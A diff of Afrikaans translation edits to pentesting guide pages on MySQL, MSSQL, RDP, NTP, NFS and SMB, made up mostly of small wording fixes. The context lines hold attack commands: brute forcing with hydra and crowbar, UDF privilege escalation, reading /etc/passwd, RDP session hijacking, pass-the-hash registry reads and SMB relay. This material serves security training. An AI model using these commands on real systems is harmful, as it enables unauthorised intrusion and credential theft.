Vir verdere inligting, verwys na die volgende skakels rakende hierdie aanval: [Ontsleuteling van MSSQL Databasis Link Server Wagwoorde](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
## Plaaslike Privilege Escalation
|
||||
|
||||
Die gebruiker wat die MSSQL-server uitvoer, sal die voorregte-token **SeImpersonatePrivilege** geaktiveer hê.\
|
||||
Die gebruiker wat MSSQL-server uitvoer, sal die voorregtoken **SeImpersonatePrivilege** geaktiveer hê.\
|
||||
Jy sal waarskynlik in staat wees om **na Administrateur op te skaal** deur een van hierdie 2 bladsye te volg:
|
||||
|
||||
{{#ref}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **Basiese Inligting**
|
||||
|
||||
**MySQL** kan beskryf word as 'n oopbron **Relasionele Databasisbestuurstelsel (RDBMS)** wat gratis beskikbaar is. Dit werk op die **Gestructureerde Navraagtaal (SQL)**, wat die bestuur en manipulasie van databasisse moontlik maak.
|
||||
**MySQL** kan beskryf word as 'n oopbron **Relasionele Databasisbestuurstelsel (RDBMS)** wat gratis beskikbaar is. Dit werk op die **Gestruktureerde Vraataal (SQL)**, wat die bestuur en manipulasie van databasisse moontlik maak.
|
||||
|
||||
**Standaard poort:** 3306
|
||||
```
|
||||
@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
#@ Functions not from sys. db
|
||||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
||||
```
|
||||
U kan in die dokumentasie die betekenis van elke privaatheid sien: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
U kan in die dokumentasie die betekenis van elke voorreg sien: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
|
||||
### MySQL Lêer RCE
|
||||
|
||||
@ -123,7 +123,7 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**Begin PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**Inisiële PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**In hierdie artikel kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit uit te brei na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Hier kan jy 'n oorsig van die aanval vind:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
@ -142,16 +142,16 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
|
||||
```
|
||||
#### Gevaarlike Instellings van mysqld.cnf
|
||||
|
||||
In die konfigurasie van MySQL dienste, word verskeie instellings gebruik om sy werking en sekuriteitsmaatreëls te definieer:
|
||||
In die konfigurasie van MySQL dienste, word verskeie instellings gebruik om die werking en sekuriteitsmaatreëls daarvan te definieer:
|
||||
|
||||
- Die **`user`** instelling word gebruik om die gebruiker aan te dui waaronder die MySQL diens uitgevoer sal word.
|
||||
- **`password`** word toegepas om die wagwoord wat met die MySQL gebruiker geassosieer word, te vestig.
|
||||
- **`admin_address`** spesifiseer die IP-adres wat luister vir TCP/IP verbindings op die administratiewe netwerk koppelvlak.
|
||||
- **`admin_address`** spesifiseer die IP-adres wat luister vir TCP/IP verbindings op die administratiewe netwerkinterfaan.
|
||||
- Die **`debug`** veranderlike is aanduidend van die huidige foutopsporing konfigurasies, insluitend sensitiewe inligting binne logs.
|
||||
- **`sql_warnings`** bestuur of inligtingsstringe gegenereer word vir enkel-ry INSERT verklarings wanneer waarskuwings ontstaan, wat sensitiewe data binne logs bevat.
|
||||
- Met **`secure_file_priv`** word die omvang van data-invoer en -uitvoer operasies beperk om sekuriteit te verbeter.
|
||||
|
||||
### Privilege escalasie
|
||||
### Privilege escalation
|
||||
```bash
|
||||
# Get current user (an all users) privileges and hashes
|
||||
use mysql;
|
||||
@ -171,7 +171,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
```
|
||||
### Privilege Escalation via library
|
||||
|
||||
As die **mysql bediener as root** (of 'n ander meer bevoorregte gebruiker) loop, kan jy dit laat opdragte uitvoer. Hiervoor moet jy **gebruikers gedefinieerde funksies** gebruik. En om 'n gebruikers gedefinieerde funksie te skep, sal jy 'n **biblioteek** vir die OS wat mysql uitvoer, nodig hê.
|
||||
As die **mysql bediener as root** (of 'n ander meer bevoorregte gebruiker) loop, kan jy dit laat opdragte uitvoer. Hiervoor moet jy **gebruikers gedefinieerde funksies** gebruik. En om 'n gebruikers gedefinieerde funksie te skep, sal jy 'n **biblioteek** vir die OS wat mysql uitvoer, benodig.
|
||||
|
||||
Die kwaadwillige biblioteek om te gebruik kan binne sqlmap en binne metasploit gevind word deur **`locate "*lib_mysqludf_sys*"`** te doen. Die **`.so`** lêers is **linux** biblioteke en die **`.dll`** is die **Windows** een, kies die een wat jy nodig het.
|
||||
|
||||
@ -230,7 +230,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
|
||||
```
|
||||
### Aktivering van logging
|
||||
|
||||
Jy kan logging van mysql navrae binne `/etc/mysql/my.cnf` aktiver deur die volgende lyne te ontkommentarieer:
|
||||
Jy kan logging van mysql navrae aktief maak binne `/etc/mysql/my.cnf` deur die volgende lyne te ontkommentarieer:
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -13,7 +13,7 @@ Die **Network Time Protocol (NTP)** verseker dat rekenaars en netwerktoestelle o
|
||||
- **Sekuriteitsmaatreëls**:
|
||||
- Gebruik vertroude NTP-bronne met outentisering.
|
||||
- Beperk NTP-bediener netwerktoegang.
|
||||
- Monitor sinkronisasie vir tekens van manipulasie.
|
||||
- Monitor sinkronisasie vir tekens van vervalsing.
|
||||
|
||||
**Standaard poort:** 123/udp
|
||||
```
|
||||
@ -42,7 +42,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
|
||||
|
||||
[**Hoe NTP DDoS Aanval Werk**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
|
||||
|
||||
Die **NTP-protokol**, wat UDP gebruik, stel operasie sonder die behoefte aan handdrukprosedures in staat, anders as TCP. Hierdie eienskap word in **NTP DDoS versterking aanvalle** uitgebuit. Hier skep aanvallers pakkette met 'n vals bron-IP, wat dit laat lyk asof die aanval versoeke van die slagoffer kom. Hierdie pakkette, aanvanklik klein, laat die NTP-bediener toe om met baie groter datavolumes te reageer, wat die aanval versterk.
|
||||
Die **NTP-protokol**, wat UDP gebruik, laat werking toe sonder die behoefte aan handdruk prosedures, anders as TCP. Hierdie eienskap word uitgebuit in **NTP DDoS versterking aanvalle**. Hier skep aanvallers pakkette met 'n vals bron IP, wat dit laat lyk asof die aanval versoeke van die slagoffer kom. Hierdie pakkette, aanvanklik klein, laat die NTP-bediener toe om met baie groter datavolumes te reageer, wat die aanval versterk.
|
||||
|
||||
Die _**MONLIST**_ opdrag, ten spyte van sy seldsame gebruik, kan die laaste 600 kliënte wat aan die NTP-diens gekoppel is, rapporteer. Terwyl die opdrag self eenvoudig is, beklemtoon die misbruik daarvan in sulke aanvalle kritieke sekuriteitskwesbaarhede.
|
||||
```bash
|
||||
|
@ -11,7 +11,7 @@
|
||||
PORT STATE SERVICE
|
||||
110/tcp open pop3
|
||||
```
|
||||
## Opname
|
||||
## Enumerasie
|
||||
|
||||
### Banner Grabbing
|
||||
```bash
|
||||
@ -30,9 +30,9 @@ Die `pop3-ntlm-info` plugin sal 'n paar "**sensitiewe**" data (Windows weergawes
|
||||
|
||||
### [POP3 bruteforce](../generic-hacking/brute-force.md#pop)
|
||||
|
||||
## POP sintaksis
|
||||
## POP-sintaksis
|
||||
|
||||
POP opdrag voorbeelde van [hier](http://sunnyoasis.com/services/emailviatelnet.html)
|
||||
POP-opdrag voorbeelde van [hier](http://sunnyoasis.com/services/emailviatelnet.html)
|
||||
```bash
|
||||
POP commands:
|
||||
USER uid Log in as "uid"
|
||||
|
@ -5,7 +5,7 @@
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Ontwikkel deur Microsoft, die **Remote Desktop Protocol** (**RDP**) is ontwerp om 'n grafiese koppelvlakverbinding tussen rekenaars oor 'n netwerk moontlik te maak. Om so 'n verbinding tot stand te bring, word **RDP** kliënt sagteware deur die gebruiker gebruik, en terselfdertyd moet die afstandsrekenaar **RDP** bediener sagteware bedryf. Hierdie opstelling maak dit moontlik om 'n afstandsrekenaar se desktopomgewing naatloos te beheer en toegang te verkry, wat essensieel die koppelvlak na die gebruiker se plaaslike toestel bring.
|
||||
Ontwikkel deur Microsoft, die **Remote Desktop Protocol** (**RDP**) is ontwerp om 'n grafiese koppelvlakverbinding tussen rekenaars oor 'n netwerk moontlik te maak. Om so 'n verbinding tot stand te bring, word **RDP** kliënt sagteware deur die gebruiker gebruik, en terselfdertyd moet die afstandsrekenaar **RDP** bediener sagteware bedryf. Hierdie opstelling maak dit moontlik om 'n afstandsrekenaar se desktopomgewing naatloos te beheer en toegang te verkry, wat essensieel sy koppelvlak na die gebruiker se plaaslike toestel bring.
|
||||
|
||||
**Standaard poort:** 3389
|
||||
```
|
||||
@ -33,7 +33,7 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
|
||||
# hydra
|
||||
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
|
||||
```
|
||||
### Verbind met bekende akrediteerbesonderhede/hash
|
||||
### Verbinde met bekende akrediteerbesonderhede/hash
|
||||
```bash
|
||||
rdesktop -u <username> <IP>
|
||||
rdesktop -d <domain> -u <username> -p <password> <IP>
|
||||
@ -60,11 +60,11 @@ query user
|
||||
```bash
|
||||
tscon <ID> /dest:<SESSIONNAME>
|
||||
```
|
||||
Nou sal jy binne die geselekteerde RDP-sessie wees en jy sal 'n gebruiker moet naboots met slegs Windows-gereedskap en -kenmerke.
|
||||
Nou sal jy binne die geselekteerde RDP-sessie wees en jy sal 'n gebruiker moet naboots met slegs Windows-hulpmiddels en -kenmerke.
|
||||
|
||||
**Belangrik**: Wanneer jy toegang tot 'n aktiewe RDP-sessie verkry, sal jy die gebruiker wat dit gebruik het, afskop.
|
||||
**Belangrik**: Wanneer jy toegang tot 'n aktiewe RDP-sessie verkry, sal jy die gebruiker wat dit gebruik het, afskakel.
|
||||
|
||||
Jy kan wagwoorde uit die proses verkry deur dit te dump, maar hierdie metode is baie vinniger en laat jou toe om met die virtuele desktops van die gebruiker te interaksie (wagwoorde in notepad sonder om op die skyf gestoor te word, ander RDP-sessies wat op ander masjiene oop is...)
|
||||
Jy kan wagwoorde uit die proses verkry deur dit te dump, maar hierdie metode is baie vinniger en laat jou toe om met die gebruiker se virtuele lessenaars te interaksie (wagwoorde in notepad sonder om op die skyf te stoor, ander RDP-sessies wat op ander masjiene oop is...)
|
||||
|
||||
#### **Mimikatz**
|
||||
|
||||
@ -100,7 +100,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
||||
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
- Beheer muis en sleutelbord op 'n geoutomatiseerde manier vanaf die opdraglyn
|
||||
- Beheer klembord op 'n geoutomatiseerde manier vanaf die opdraglyn
|
||||
- Genereer 'n SOCKS-proxy vanaf die kliënt wat netwerkkommunikasie na die teiken via RDP kanale
|
||||
- Genereer 'n SOCKS-proxy vanaf die kliënt wat netwerkkommunikasie na die teiken via RDP kan lei
|
||||
- Voer arbitrêre SHELL en PowerShell opdragte op die teiken uit sonder om lêers op te laai
|
||||
- Laai lêers op en af na/vanaf die teiken selfs wanneer lêeroordragte op die teiken gedeaktiveer is
|
||||
|
||||
|
@ -34,7 +34,7 @@ Lees[ 2049 - Pentesting NFS service](nfs-service-pentesting.md) om meer te leer
|
||||
|
||||
## NIS
|
||||
|
||||
Die verkenning van **NIS** kwesbaarhede behels 'n twee-stap proses, wat begin met die identifikasie van die diens `ypbind`. Die hoeksteen van hierdie verkenning is die ontdekking van die **NIS domeinnaam**, sonder welke vordering gestop word.
|
||||
Die verkenning van **NIS** kwesbaarhede behels 'n twee-stap proses, wat begin met die identifikasie van die diens `ypbind`. Die hoeksteen van hierdie verkenning is om die **NIS domeinnaam** te ontdek, sonder welke vordering gestop word.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -68,7 +68,7 @@ Kan jy gebruikers van die boks opnoem. Om te leer hoe, lees [1026 - Pentesting R
|
||||
|
||||
## Bypass Gefilterde Portmapper poort
|
||||
|
||||
Wanneer jy 'n **nmap skandering** uitvoer en oop NFS poorte met poort 111 wat gefilter is ontdek, is direkte uitbuiting van hierdie poorte nie haalbaar nie. egter, deur **'n portmapper diens plaaslik te simuleer en 'n tonnel van jou masjien** na die teiken te skep, word uitbuiting moontlik met behulp van standaard gereedskap. Hierdie tegniek maak dit moontlik om die gefilterde toestand van poort 111 te omseil, wat toegang tot NFS dienste moontlik maak. Vir gedetailleerde leiding oor hierdie metode, verwys na die artikel beskikbaar by [hierdie skakel](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc).
|
||||
Wanneer jy 'n **nmap skandering** uitvoer en oop NFS poorte met poort 111 wat gefilter is ontdek, is direkte uitbuiting van hierdie poorte nie haalbaar nie. egter, deur **'n portmapper diens plaaslik te simuleer en 'n tonnel van jou masjien** na die teiken te skep, word uitbuiting moontlik met behulp van standaard gereedskap. Hierdie tegniek maak dit moontlik om die gefilterde toestand van poort 111 te omseil, wat toegang tot NFS dienste moontlik maak. Vir gedetailleerde leiding oor hierdie metode, verwys na die artikel beskikbaar by [this link](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc).
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -10,7 +10,7 @@ Die _**Network Basic Input Output System**_** (NetBIOS)** is 'n sagtewareprotoko
|
||||
```
|
||||
## Port 445
|
||||
|
||||
Tegniek, Port 139 word verwys na 'NBT oor IP', terwyl Port 445 geïdentifiseer word as 'SMB oor IP'. Die akroniem **SMB** staan vir '**Server Message Blocks**', wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaagnetwerkprotokol, word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte te fasiliteer, en verskeie vorme van kommunikasie tussen knooppunte op 'n netwerk te ondersteun.
|
||||
Tegniek, Port 139 word verwys na ‘NBT oor IP’, terwyl Port 445 geïdentifiseer word as ‘SMB oor IP’. Die akroniem **SMB** staan vir ‘**Server Message Blocks**’, wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaagnetwerkprotokol, word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte te fasiliteer, en verskeie vorme van kommunikasie tussen knope op 'n netwerk te ondersteun.
|
||||
|
||||
Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor TCP/IP kan werk, wat die noodsaaklikheid vir NetBIOS oor TCP/IP uitskakel, deur die gebruik van poort 445. Aan die ander kant, op verskillende stelsels, word die gebruik van poort 139 waargeneem, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word.
|
||||
```
|
||||
@ -18,17 +18,17 @@ Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor T
|
||||
```
|
||||
### SMB
|
||||
|
||||
Die **Server Message Block (SMB)** protokol, wat in 'n **klient-bediener** model werk, is ontwerp om **toegang tot lêers**, gidse, en ander netwerkbronne soos drukkers en routers te reguleer. Primêr gebruik binne die **Windows** bedryfstelselreeks, verseker SMB terugwaartse kompatibiliteit, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel in staat stel om naatloos met dié wat ouer weergawes draai, te kommunikeer. Boonop bied die **Samba** projek 'n gratis sagtewareoplossing, wat SMB se implementering op **Linux** en Unix stelsels moontlik maak, en sodoende kruisplatformkommunikasie deur SMB fasiliteer.
|
||||
Die **Server Message Block (SMB)** protokol, wat in 'n **klient-bediener** model werk, is ontwerp om **toegang tot lêers**, gidse, en ander netwerkbronne soos drukkers en routers te reguleer. Primêr gebruik binne die **Windows** bedryfstelselreeks, verseker SMB terugwaartse kompatibiliteit, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel in staat stel om naatloos met dié wat ouer weergawes gebruik, te kommunikeer. Boonop bied die **Samba** projek 'n gratis sagtewareoplossing, wat SMB se implementering op **Linux** en Unix stelsels moontlik maak, en sodoende kruisplatformkommunikasie deur SMB fasiliteer.
|
||||
|
||||
Aandeel, wat **arbitraire dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiërargie sigbaar maak vir 'n kliënt wat gedeeltelik **onafhanklik** is van die bediener se werklike struktuur. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, stel in staat tot **fynbeheer** oor gebruikersregte, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is onderskeibaar van die plaaslike regte wat op die bediener gestel is.
|
||||
Aandeel, wat **arbitraire dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiërargie gedeeltelik **onafhanklik** van die bediener se werklike struktuur sigbaar maak aan 'n kliënt. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, stel **fynbeheer** oor gebruikersregte moontlik, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is onderskeibaar van die plaaslike regte wat op die bediener gestel is.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
Toegang tot die IPC$ aandeel kan verkry word deur 'n anonieme nul sessie, wat interaksie met dienste wat via benoemde pype blootgestel word, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Indien korrek gebruik, stel dit in staat om die volgende te verkry:
|
||||
Toegang tot die IPC$ aandeel kan verkry word deur 'n anonieme nul sessie, wat interaksie met dienste wat via benoemde pype blootgestel word, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Wanneer dit behoorlik gebruik word, stel dit die verkryging van:
|
||||
|
||||
- Inligting oor die bedryfstelsel
|
||||
- Besonderhede oor die ouerdomein
|
||||
- 'n Samestelling van plaaslike gebruikers en groepe
|
||||
- Besonderhede oor die ouer domein
|
||||
- 'n Samevoeging van plaaslike gebruikers en groepe
|
||||
- Inligting oor beskikbare SMB aandele
|
||||
- Die effektiewe stelselsekuriteitsbeleid
|
||||
|
||||
@ -36,7 +36,7 @@ Hierdie funksionaliteit is krities vir netwerkadministrateurs en sekuriteitsprof
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
Die bogenoemde opdrag is 'n voorbeeld van hoe `enum4linux` gebruik kan word om 'n volledige enumerasie teen 'n teiken wat deur `target_ip` gespesifiseer is, uit te voer.
|
||||
Die bogenoemde opdrag is 'n voorbeeld van hoe `enum4linux` gebruik kan word om 'n volledige enumerasie teen 'n teiken gespesifiseer deur `target_ip` uit te voer.
|
||||
|
||||
## Wat is NTLM
|
||||
|
||||
@ -81,10 +81,10 @@ searchsploit microsoft smb
|
||||
```
|
||||
### **Mogelijke** Kredensiaal
|
||||
|
||||
| **Gebruikersnaam(s)** | **Gewone wagwoorde** |
|
||||
| **Gebruikersnaam(s)** | **Algemene wagwoorde** |
|
||||
| --------------------- | ----------------------------------------- |
|
||||
| _(leeg)_ | _(leeg)_ |
|
||||
| gasheer | _(leeg)_ |
|
||||
| gast | _(leeg)_ |
|
||||
| Administrateur, admin | _(leeg)_, wagwoord, administrateur, admin |
|
||||
| arcserve | arcserve, rugsteun |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
@ -165,9 +165,9 @@ pentesting-smb/rpcclient-enumeration.md
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
## Gedeelde Lêers Lys
|
||||
## Gedeelde Mappes Lys
|
||||
|
||||
### Lys gedeelde lêers
|
||||
### Lys gedeelde mappes
|
||||
|
||||
Dit word altyd aanbeveel om te kyk of jy toegang tot enigiets kan kry, as jy nie inligting het nie, probeer om **null** **inligting/gaste gebruiker** te gebruik.
|
||||
```bash
|
||||
@ -195,9 +195,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
|
||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
### **Handmatig vensters deel en verbind met hulle**
|
||||
### **Handmatig vensters deel en verbind daarmee**
|
||||
|
||||
Dit mag moontlik wees dat jy beperk is om enige dele van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen dele is om mee te verbind nie. Dit mag dus die moeite werd wees om te probeer om handmatig met 'n deel te verbind. Om die dele handmatig te lys, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige akrediteer). Hierdie mag aandui of die deel bestaan en jy nie toegang daartoe het nie of die deel glad nie bestaan nie.
|
||||
Dit mag dalk moontlik wees dat jy beperk is om enige dele van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen dele is om mee te verbind nie. Dit mag dus die moeite werd wees om te probeer om handmatig met 'n deel te verbind. Om die dele handmatig te lys, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige akrediteer). Hierdie mag aandui of die deel bestaan en jy nie toegang daartoe het nie of die deel glad nie bestaan nie.
|
||||
|
||||
Gewone deelname vir venster teikens is
|
||||
|
||||
@ -234,7 +234,7 @@ echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD
|
||||
fi
|
||||
done
|
||||
```
|
||||
Voorbeelde
|
||||
voorbeelde
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
@ -294,7 +294,7 @@ Commands:
|
||||
- mask: spesifiseer die masker wat gebruik word om die lêers binne die gids te filter (bv. "" vir alle lêers)
|
||||
- recurse: skakel rekursie aan (verstek: af)
|
||||
- prompt: skakel vrae vir lêernaam af (verstek: aan)
|
||||
- mget: kopieer alle lêers wat met die masker ooreenstem van die gasheer na die kliënt masjien
|
||||
- mget: kopieer alle lêers wat ooreenstem met die masker van die gasheer na die kliënt masjien
|
||||
|
||||
(_Inligting van die manblad van smbclient_)
|
||||
|
||||
@ -310,15 +310,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Spesifiek interessant van gedeeltes is die lêers genoem **`Registry.xml`** aangesien hulle **miskien wagwoorde bevat** vir gebruikers wat met **autologon** via Groepbeleid gekonfigureer is. Of **`web.config`** lêers aangesien hulle akrediteerbesonderhede bevat.
|
||||
Spesifiek interessant van gedeeltes is die lêers genoem **`Registry.xml`** aangesien hulle **miskien wagwoorde** bevat vir gebruikers wat met **autologon** via Groepbeleid gekonfigureer is. Of **`web.config`** lêers aangesien hulle akrediteerbesonderhede bevat.
|
||||
|
||||
> [!NOTE]
|
||||
> Die **SYSVOL gedeelde** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daar kan jy **baie** verskillende batch, VBScript, en PowerShell **scripts** **vind**.\
|
||||
> Jy moet die **scripts** daarin **kontroleer** aangesien jy **sensitiewe** inligting soos **wagwoorde** mag **vind**.
|
||||
> Die **SYSVOL-gedeelte** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daar kan jy **baie** verskillende batch, VBScript, en PowerShell **scripts** **vind**.\
|
||||
> Jy moet die **scripts** daarin **nagaan** aangesien jy **sensitiewe** inligting soos **wagwoorde** mag **vind**.
|
||||
|
||||
## Lees Register
|
||||
|
||||
Jy mag in staat wees om die **register te lees** met behulp van sommige ontdekte akrediteerbesonderhede. Impacket **`reg.py`** laat jou toe om te probeer:
|
||||
Jy mag in staat wees om die **register** te **lees** met behulp van sommige ontdekte akrediteerbesonderhede. Impacket **`reg.py`** laat jou toe om te probeer:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
@ -330,7 +330,7 @@ Die **standaardkonfigurasie van** 'n **Samba** bediener is gewoonlik geleë in `
|
||||
|
||||
| **Instelling** | **Beskrywing** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | Laat toe om beskikbare gedeeltes in die huidige gedeelde te lys? |
|
||||
| `browseable = yes` | Laat toe om beskikbare gedeeltes in die huidige gedeelte te lys? |
|
||||
| `read only = no` | Verbied die skepping en wysiging van lêers? |
|
||||
| `writable = yes` | Laat gebruikers toe om lêers te skep en te wysig? |
|
||||
| `guest ok = yes` | Laat toe om aan die diens te koppel sonder om 'n wagwoord te gebruik? |
|
||||
@ -345,7 +345,7 @@ Die opdrag `smbstatus` gee inligting oor die **bediener** en oor **wie verbind i
|
||||
|
||||
## Authenticate using Kerberos
|
||||
|
||||
Jy kan **authentiseer** met **kerberos** deur die gereedskap **smbclient** en **rpcclient** te gebruik:
|
||||
Jy kan **authentiseer** na **kerberos** met die gereedskap **smbclient** en **rpcclient**:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
@ -392,7 +392,7 @@ Gebruik **parameter**`-k` om teen **kerberos** te autentiseer in plaas van **NTL
|
||||
|
||||
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
|
||||
|
||||
Stealthily voer 'n opdrag shell uit sonder om die skyf aan te raak of 'n nuwe diens te laat loop deur DCOM via **poort 135.**\
|
||||
Stealthily voer 'n opdrag shell uit sonder om die skyf te raak of 'n nuwe diens te laat loop deur DCOM via **port 135.**\
|
||||
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
@ -428,7 +428,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
|
||||
```
|
||||
## SMB relay aanval
|
||||
|
||||
Hierdie aanval gebruik die Responder toolkit om **SMB-outeentigingsessies** op 'n interne netwerk te **vang**, en **oor te dra** na 'n **teikenmasjien**. As die outeentigings **sessie suksesvol is**, sal dit outomaties jou in 'n **stelsel** **skulp** laat val.\
|
||||
Hierdie aanval gebruik die Responder toolkit om **SMB-authentikasiesessies** op 'n interne netwerk te **vang**, en **oor te dra** na 'n **teikenmasjien**. As die authentikasie **sessie suksesvol is**, sal dit jou outomaties in 'n **stelsel** **skulp** laat val.\
|
||||
[**Meer inligting oor hierdie aanval hier.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
@ -444,17 +444,17 @@ Dit gebeur met die funksies:
|
||||
|
||||
Wat deur sommige blaaiers en gereedskap (soos Skype) gebruik word.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### SMBTrap met MitMf
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
## NTLM Diefstal
|
||||
|
||||
Soos SMB Trap, kan die plant van kwaadwillige lêers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-outeentigingspoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n hulpmiddel soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](pentesting-smb.md#smb-relay-attack) gebruik word.
|
||||
Soos SMB Trapping, kan die plant van kwaadwillige lêers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-authentikasiepoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n gereedskap soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](pentesting-smb.md#smb-relay-attack) gebruik word.
|
||||
|
||||
[Siende: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
[See: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
